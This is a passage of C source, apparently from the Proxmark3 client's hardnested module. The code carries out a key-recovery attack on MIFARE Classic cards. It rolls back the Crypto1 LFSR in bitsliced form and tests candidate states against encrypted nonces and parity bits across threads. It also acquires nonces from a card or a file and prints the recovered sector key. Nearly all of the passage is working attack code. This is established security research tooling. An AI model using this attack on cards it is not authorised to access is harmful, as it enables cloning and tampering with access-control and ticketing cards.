1416 memset(lstate_p+1, 0x0, (STATE_SIZE-1)*sizeof(bitslice_t)); // zero even bits
1417
1418 // bitslice even half-states
1419 const size_t max_slices = (even_end-p_even) < MAX_BITSLICES ? even_end-p_even : MAX_BITSLICES;
1420 #ifdef EXACT_COUNT
1421 bucket_size[bitsliced_blocks] = max_slices;
1422 #endif
1423 for(size_t slice_idx = 0; slice_idx < max_slices; ++slice_idx){
1424 uint32_t e = *(p_even+slice_idx);
1425 for(size_t bit_idx = 1; bit_idx < STATE_SIZE; bit_idx+=2, e >>= 1){
1426 // set even bits
1427 if(e&1){
1428 lstate_p[bit_idx].bytes64[slice_idx>>6] |= 1ull << (slice_idx&63);
1429 }
1430 }
1431 }
1432 // compute the rollback bits
1433 for(size_t rollback = 0; rollback < ROLLBACK_SIZE; ++rollback){
1434 // inlined crypto1_bs_lfsr_rollback
1435 const bitslice_value_t feedout = lstate_p[0].value;
1436 ++lstate_p;
1437 const bitslice_value_t ks_bits = crypto1_bs_f20(lstate_p);
1438 const bitslice_value_t feedback = (feedout ^ ks_bits ^ lstate_p[47- 5].value ^ lstate_p[47- 9].value ^
1439 lstate_p[47-10].value ^ lstate_p[47-12].value ^ lstate_p[47-14].value ^
1440 lstate_p[47-15].value ^ lstate_p[47-17].value ^ lstate_p[47-19].value ^
1441 lstate_p[47-24].value ^ lstate_p[47-25].value ^ lstate_p[47-27].value ^
1442 lstate_p[47-29].value ^ lstate_p[47-35].value ^ lstate_p[47-39].value ^
1443 lstate_p[47-41].value ^ lstate_p[47-42].value ^ lstate_p[47-43].value);
1444 lstate_p[47].value = feedback ^ bitsliced_rollback_byte[rollback].value;
1445 }
1446 bitsliced_even_states[bitsliced_blocks++] = lstate_p;
1447 }
1448
1449 // bitslice every odd state to every block of even half-states with half-finished rollback
1450 for(uint32_t const * restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE]+p->len[ODD_STATE]; ++p_odd){
1451 // early abort
1452 if(keys_found){
1453 goto out;
1454 }
1455
1456 // set the odd bits and compute rollback
1457 uint64_t o = (uint64_t) *p_odd;
1458 lfsr_rollback_byte((struct Crypto1State*) &o, 0, 1);
1459 // pre-compute part of the odd feedback bits (minus rollback)
1460 bool odd_feedback_bit = parity(o&0x9ce5c);
1461
1462 crypto1_bs_rewind_a0();
1463 // set odd bits
1464 for(size_t state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; o >>= 1, state_idx+=2){
1465 if(o & 1){
1466 state_p[state_idx] = bs_ones;
1467 } else {
1468 state_p[state_idx] = bs_zeroes;
1469 }
1470 }
1471 const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
1472
1473 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1474 const bitslice_t const * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
1475 size_t state_idx;
1476 // set even bits
1477 for(state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; state_idx+=2){
1478 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1479 }
1480 // set rollback bits
1481 uint64_t lo = o;
1482 for(; state_idx < STATE_SIZE; lo >>= 1, state_idx+=2){
1483 // set the odd bits and take in the odd rollback bits from the even states
1484 if(lo & 1){
1485 state_p[state_idx].value = ~bitsliced_even_state[state_idx].value;
1486 } else {
1487 state_p[state_idx] = bitsliced_even_state[state_idx];
1488 }
1489
1490 // set the even bits and take in the even rollback bits from the odd states
1491 if((lo >> 32) & 1){
1492 state_p[1+state_idx].value = ~bitsliced_even_state[1+state_idx].value;
1493 } else {
1494 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1495 }
1496 }
1497
1498 #ifdef EXACT_COUNT
1499 bucket_states_tested += bucket_size[block_idx];
1500 #endif
1501 // pre-compute first keystream and feedback bit vectors
1502 const bitslice_value_t ksb = crypto1_bs_f20(state_p);
1503 const bitslice_value_t fbb = (odd_feedback ^ state_p[47- 0].value ^ state_p[47- 5].value ^ // take in the even and rollback bits
1504 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1505 state_p[47-24].value ^ state_p[47-42].value);
1506
1507 // vector to contain test results (1 = passed, 0 = failed)
1508 bitslice_t results = bs_ones;
1509
1510 for(size_t tests = 0; tests < NONCE_TESTS; ++tests){
1511 size_t parity_bit_idx = 0;
1512 bitslice_value_t fb_bits = fbb;
1513 bitslice_value_t ks_bits = ksb;
1514 state_p = &states[KEYSTREAM_SIZE-1];
1515 bitslice_value_t parity_bit_vector = bs_zeroes.value;
1516
1517 // highest bit is transmitted/received first
1518 for(int32_t ks_idx = KEYSTREAM_SIZE-1; ks_idx >= 0; --ks_idx, --state_p){
1519 // decrypt nonce bits
1520 const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
1521 const bitslice_value_t decrypted_nonce_bit_vector = (encrypted_nonce_bit_vector ^ ks_bits);
1522
1523 // compute real parity bits on the fly
1524 parity_bit_vector ^= decrypted_nonce_bit_vector;
1525
1526 // update state
1527 state_p[0].value = (fb_bits ^ decrypted_nonce_bit_vector);
1528
1529 // compute next keystream bit
1530 ks_bits = crypto1_bs_f20(state_p);
1531
1532 // for each byte:
1533 if((ks_idx&7) == 0){
1534 // get encrypted parity bits
1535 const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
1536
1537 // decrypt parity bits
1538 const bitslice_value_t decrypted_parity_bit_vector = (encrypted_parity_bit_vector ^ ks_bits);
1539
1540 // compare actual parity bits with decrypted parity bits and take count in results vector
1541 results.value &= (parity_bit_vector ^ decrypted_parity_bit_vector);
1542
1543 // make sure we still have a match in our set
1544 // if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
1545
1546 // this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
1547 // the short-circuiting also helps
1548 if(results.bytes64[0] == 0
1549 #if MAX_BITSLICES > 64
1550 && results.bytes64[1] == 0
1551 #endif
1552 #if MAX_BITSLICES > 128
1553 && results.bytes64[2] == 0
1554 && results.bytes64[3] == 0
1555 #endif
1556 ){
1557 goto stop_tests;
1558 }
1559 // this is about as fast but less portable (requires -std=gnu99)
1560 // asm goto ("ptest %1, %0\n\t"
1561 // "jz %l2" :: "xm" (results.value), "xm" (bs_ones.value) : "cc" : stop_tests);
1562 parity_bit_vector = bs_zeroes.value;
1563 }
1564 // compute next feedback bit vector
1565 fb_bits = (state_p[47- 0].value ^ state_p[47- 5].value ^ state_p[47- 9].value ^
1566 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1567 state_p[47-15].value ^ state_p[47-17].value ^ state_p[47-19].value ^
1568 state_p[47-24].value ^ state_p[47-25].value ^ state_p[47-27].value ^
1569 state_p[47-29].value ^ state_p[47-35].value ^ state_p[47-39].value ^
1570 state_p[47-41].value ^ state_p[47-42].value ^ state_p[47-43].value);
1571 }
1572 }
1573 // all nonce tests were successful: we've found the key in this block!
1574 state_t keys[MAX_BITSLICES];
1575 crypto1_bs_convert_states(&states[KEYSTREAM_SIZE], keys);
1576 for(size_t results_idx = 0; results_idx < MAX_BITSLICES; ++results_idx){
1577 if(get_vector_bit(results_idx, results)){
1578 key = keys[results_idx].value;
1579 goto out;
1580 }
1581 }
1582 stop_tests:
1583 // prepare to set new states
1584 crypto1_bs_rewind_a0();
1585 continue;
1586 }
1587 }
1588
1589 out:
1590 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1591
1592 #ifdef __WIN32
1593 #ifdef __MINGW32__
1594 __mingw_aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1595 #else
1596 _aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1597 #endif
1598 #else
1599 free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1600 #endif
1601
1602 }
1603 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1604 return key;
1605 }
1606
1607 static void* crack_states_thread(void* x){
1608 const size_t thread_id = (size_t)x;
1609 size_t current_bucket = thread_id;
1610 while(current_bucket < bucket_count){
1611 statelist_t * bucket = buckets[current_bucket];
1612 if(bucket){
1613 const uint64_t key = crack_states_bitsliced(bucket);
1614 if(key != -1){
1615 __sync_fetch_and_add(&keys_found, 1);
1616 __sync_fetch_and_add(&foundkey, key);
1617 break;
1618 } else if(keys_found){
1619 break;
1620 } else {
1621 printf(".");
1622 fflush(stdout);
1623 }
1624 }
1625 current_bucket += thread_count;
1626 }
1627 return NULL;
1628 }
1629
1630 static void brute_force(void)
1631 {
1632 if (known_target_key != -1) {
1633 PrintAndLog("Looking for known target key in remaining key space...");
1634 TestIfKeyExists(known_target_key);
1635 } else {
1636 PrintAndLog("Brute force phase starting.");
1637 time_t start, end;
1638 time(&start);
1639 keys_found = 0;
1640 foundkey = 0;
1641
1642 crypto1_bs_init();
1643
1644 PrintAndLog("Using %u-bit bitslices", MAX_BITSLICES);
1645 PrintAndLog("Bitslicing best_first_byte^uid[3] (rollback byte): %02x...", best_first_bytes[0]^(cuid>>24));
1646 // convert to 32 bit little-endian
1647 crypto1_bs_bitslice_value32((best_first_bytes[0]<<24)^cuid, bitsliced_rollback_byte, 8);
1648
1649 PrintAndLog("Bitslicing nonces...");
1650 for(size_t tests = 0; tests < NONCE_TESTS; tests++){
1651 uint32_t test_nonce = brute_force_nonces[tests]->nonce_enc;
1652 uint8_t test_parity = brute_force_nonces[tests]->par_enc;
1653 // pre-xor the uid into the decrypted nonces, and also pre-xor the cuid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
1654 crypto1_bs_bitslice_value32(cuid^test_nonce, bitsliced_encrypted_nonces[tests], 32);
1655 // convert to 32 bit little-endian
1656 crypto1_bs_bitslice_value32(rev32( ~(test_parity ^ ~(parity(cuid>>24 & 0xff)<<3 | parity(cuid>>16 & 0xff)<<2 | parity(cuid>>8 & 0xff)<<1 | parity(cuid&0xff)))), bitsliced_encrypted_parity_bits[tests], 4);
1657 }
1658 total_states_tested = 0;
1659
1660 // count number of states to go
1661 bucket_count = 0;
1662 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1663 buckets[bucket_count] = p;
1664 bucket_count++;
1665 }
1666
1667 #ifndef __WIN32
1668 thread_count = sysconf(_SC_NPROCESSORS_CONF);
1669 if ( thread_count < 1)
1670 thread_count = 1;
1671 #endif /* _WIN32 */
1672
1673 pthread_t threads[thread_count];
1674
1675 // enumerate states using all hardware threads, each thread handles one bucket
1676 PrintAndLog("Starting %u cracking threads to search %u buckets containing a total of %"PRIu32" states...", thread_count, bucket_count, maximum_states);
1677
1678 for(size_t i = 0; i < thread_count; i++){
1679 pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
1680 }
1681 for(size_t i = 0; i < thread_count; i++){
1682 pthread_join(threads[i], 0);
1683 }
1684
1685 time(&end);
1686 unsigned long elapsed_time = difftime(end, start);
1687 if(keys_found){
1688 PrintAndLog("Success! Tested %"PRIu32" states, found %u keys after %u seconds", total_states_tested, keys_found, elapsed_time);
1689 PrintAndLog("\nFound key: %012"PRIx64"\n", foundkey);
1690 } else {
1691 PrintAndLog("Fail! Tested %"PRIu32" states, in %u seconds", total_states_tested, elapsed_time);
1692 }
1693 // reset this counter for the next call
1694 nonces_to_bruteforce = 0;
1695 }
1696 }
1697
1698 int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests)
1699 {
1700 // initialize Random number generator
1701 time_t t;
1702 srand((unsigned) time(&t));
1703
1704 if (trgkey != NULL) {
1705 known_target_key = bytes_to_num(trgkey, 6);
1706 } else {
1707 known_target_key = -1;
1708 }
1709
1710 init_partial_statelists();
1711 init_BitFlip_statelist();
1712 write_stats = false;
1713
1714 if (tests) {
1715 // set the correct locale for the stats printing
1716 setlocale(LC_ALL, "");
1717 write_stats = true;
1718 if ((fstats = fopen("hardnested_stats.txt","a")) == NULL) {
1719 PrintAndLog("Could not create/open file hardnested_stats.txt");
1720 return 3;
1721 }
1722 for (uint32_t i = 0; i < tests; i++) {
1723 init_nonce_memory();
1724 simulate_acquire_nonces();
1725 Tests();
1726 printf("Sum(a0) = %d\n", first_byte_Sum);
1727 fprintf(fstats, "%d;", first_byte_Sum);
1728 generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1729 brute_force();
1730 free_nonces_memory();
1731 free_statelist_cache();
1732 free_candidates_memory(candidates);
1733 candidates = NULL;
1734 }
1735 fclose(fstats);
1736 } else {
1737 init_nonce_memory();
1738 if (nonce_file_read) { // use pre-acquired data from file nonces.bin
1739 if (read_nonce_file() != 0) {
1740 return 3;
1741 }
1742 Check_for_FilterFlipProperties();
1743 num_good_first_bytes = MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED);
1744 } else { // acquire nonces.
1745 uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow);
1746 if (is_OK != 0) {
1747 return is_OK;
1748 }
1749 }
1750
1751 //Tests();
1752
1753 //PrintAndLog("");
1754 //PrintAndLog("Sum(a0) = %d", first_byte_Sum);
1755 // PrintAndLog("Best 10 first bytes: %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x",
1756 // best_first_bytes[0],
1757 // best_first_bytes[1],
1758 // best_first_bytes[2],
1759 // best_first_bytes[3],
1760 // best_first_bytes[4],
1761 // best_first_bytes[5],
1762 // best_first_bytes[6],
1763 // best_first_bytes[7],
1764 // best_first_bytes[8],
1765 // best_first_bytes[9] );
1766 PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD*100.0, num_good_first_bytes);
1767
1768 clock_t time1 = clock();
1769 generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1770 time1 = clock() - time1;
1771 if ( time1 > 0 )
1772 PrintAndLog("Time for generating key candidates list: %1.0f seconds", ((float)time1)/CLOCKS_PER_SEC);
1773
1774 brute_force();
1775 free_nonces_memory();
1776 free_statelist_cache();
1777 free_candidates_memory(candidates);
1778 candidates = NULL;
1779 }
1780 return 0;
1781 }
1782
1783
Proxmark3 GIT tracking
Impressum, Datenschutz